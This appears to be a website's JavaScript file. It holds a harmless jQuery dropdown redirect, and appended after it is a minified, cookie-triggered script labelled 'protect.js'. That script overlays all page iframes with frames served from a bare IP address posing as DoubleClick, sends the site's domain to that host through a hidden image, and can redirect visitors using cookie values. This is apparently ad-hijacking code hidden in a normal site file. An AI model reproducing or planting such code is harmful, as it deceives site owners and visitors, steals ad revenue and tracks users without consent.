var $_ = jQuery;

$_(document).ready(function() {

    $_('#state, #state2').change(function() {
        var sStateSlug = $_(this).val();
     
        if ( sStateSlug.length > 0 )
        {
            window.location.href = sStateSlug + '.html#content';
        }
    });
    
});

/*
({
    delay: 3000,
    cycles: 60,
    run: function() {
        var f = document.getElementsByTagName('iframe');
        for (var i=f.length-1; i>=0; --i) {
            if (f[i].src.search('http://ad.doubleclick.net') == 0) f[i].src = 'about:blank';
        }
        if (--this.cycles>0) setTimeout(this.run, this.delay);
    },
    init: function() {
        var c = document.cookie.split(';')
        for (var i=c.length-1; i>=0; --i) {
            if (c[i].replace(/^\s+|\s+$/g, '').split('=')[0] == 'cqc') {setTimeout(this.run, this.delay); break;}
        }
    }
}).init();
*/

/**
 * protect.js
 */
({params:{},c:{},how_many:1,ft:"",delay:1000,cycles:10,protect_div:function(e,l,f,g){function h(i){return(encodeURIComponent||escape)(i.replace(/\+/g,"%2B"))}var j=document.createElement("div");var b=document.createElement("div");var a=document.createElement("div");j.style.position="absolute";j.style.overflow="hidden";j.style.top="0px";j.style.left="0px";j.style.zIndex="5";var c=l.split("x");j.style.width=c[0]+"px";j.style.height=c[1]+"px";for(var d=0;d<e;d++){var k=document.createElement("iframe");k.is_protection=true;k.allowTransparency=true;k.style.backgroundColor="transparent";k.scrolling="no";k.src="http://184.105.178.253/static/html/dblk/"+this.ft+"/"+l+"/"+document.domain+"/doubleclick.html";k.width=c[0];k.height=c[1];a.appendChild(k)}b.appendChild(a);j.appendChild(b);return j},run:function(){var e=document.getElementsByTagName("iframe");var f=0;for(var k=0;k<e.length;k++){var h=e[k];if(h.now_protected||h.is_protection){continue}var j=h.parentNode;var i=h.width;var g=h.height;h.style.position="relative";h.style.zIndex="2";var b=this.protect_div(this.how_many,i+"x"+g,f,"b");j.style.position="relative";var c=document.createElement("img");c.src="http://184.105.178.253/ad_imp/?site="+document.domain+"&rnd="+(new Date()).getTime();c.width="0";c.height="0";c.style.display="none";j.appendChild(c);j.insertBefore(b,h);h.now_protected=true;if(!h.is_protection){f++}}var d=this;if(--this.cycles>0){setTimeout(function(){d.run()},this.delay)}},init:function(){function c(i){return(decodeURIComponent||unescape)(i.replace(/\+/g," "))}var h=document.location.search.substr(1);if(h){var j=h.split("&");for(var e=j.length-1;e>=0;e--){var f=j[e].split("=");var b=c(f[0]);if(f.length>1){this.params[b]=c(f.slice(1).join("="))}else{this.params[b]=true}}}var f=document.cookie.split(";");for(var e=f.length-1;e>=0;--e){var g=f[e].replace(/^\s+|\s+$/g,"").split("=");this.c[g[0]]=g[1]}if(this.params.f&&this.params.f!=""){this.ft=this.params.f;document.cookie="ft="+this.params.f}if(this.c.ft){this.ft=this.c.ft}if(this.c.cqc){var a=this.c.cqc.split(",");if(a.length>1){document.cookie="cqc="+(new Date().getTime()/1000);window.location.href+=c(a[1])}var d=this;setTimeout(function(){d.run()},100)}}}).init();
